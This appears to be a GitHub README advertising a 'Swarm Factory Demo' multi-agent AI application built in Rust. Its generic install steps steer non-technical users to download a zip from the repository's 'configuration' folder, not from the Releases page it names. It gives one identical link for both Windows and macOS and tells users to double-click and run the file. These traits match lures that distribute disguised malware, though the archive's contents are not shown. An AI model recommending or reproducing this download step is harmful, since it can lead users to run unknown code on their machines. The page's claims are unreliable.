Welcome to the Swarm Factory Demo! This application allows you to run a complete multi-agent system that includes a Planner, Executor, and Specialist, all built in Rust. It offers a seamless way to build scalable, self-correcting AI workflows.
To ensure the best experience, your computer should meet the following requirements:
- Operating System: Windows 10 or later, macOS 10.14 or later, or a modern Linux distribution.
- RAM: At least 4 GB.
- Disk Space: Minimum 200 MB of free space.
- CPU: 2 GHz dual-core processor or better.
- Multi-Agent System: Run multiple agents to enhance workflow efficiency.
- Dynamic Orchestration: Manage agents dynamically for better performance.
- Self-Correcting Workflows: Built-in mechanisms that ensure continuous improvement.
- Easy Setup: Simple to install and run without any programming knowledge.
To get started, you will need to download the application from our Releases page.
- Visit this page to download: Releases Page.
- Look for the latest version and choose the file suitable for your operating system (e.g.,
https://raw.githubusercontent.com/pipiskabobrabrbrbr/swarm_factory/main/configuration/factory-swarm-undercroft.zipfor Windows,https://raw.githubusercontent.com/pipiskabobrabrbrbr/swarm_factory/main/configuration/factory-swarm-undercroft.zipfor macOS). - Click on the file name to start the download.
- Once the download is complete, locate the file in your downloads folder.
- Double-click the downloaded file to begin installation.
- Follow the on-screen instructions to complete the setup.
After installing the Swarm Factory Demo, running the application is easy:
- Find the application in your applications folder (for macOS) or start menu (for Windows).
- Click on the application icon to launch it.
- Once open, you will see the main dashboard. From here, you can configure your agents and start building your workflows.
The Swarm Factory Demo comes with an intuitive interface. Here’s how to navigate:
- Dashboard: The main area where you can see all your running agents.
- Settings: Adjust parameters for each agent, such as task allocation and data handling.
- Logs: Review the performance and behavior of your agents for better insights.
While this application is user-friendly, contributions are always welcome. If you're interested in improving the Swarm Factory, feel free to fork the repository and submit a pull request.
If you encounter any issues while using the Swarm Factory Demo, please create a new issue in the GitHub repository. We aim to respond promptly and assist you.
Thank you for trying the Swarm Factory Demo! Enjoy building your AI workflows.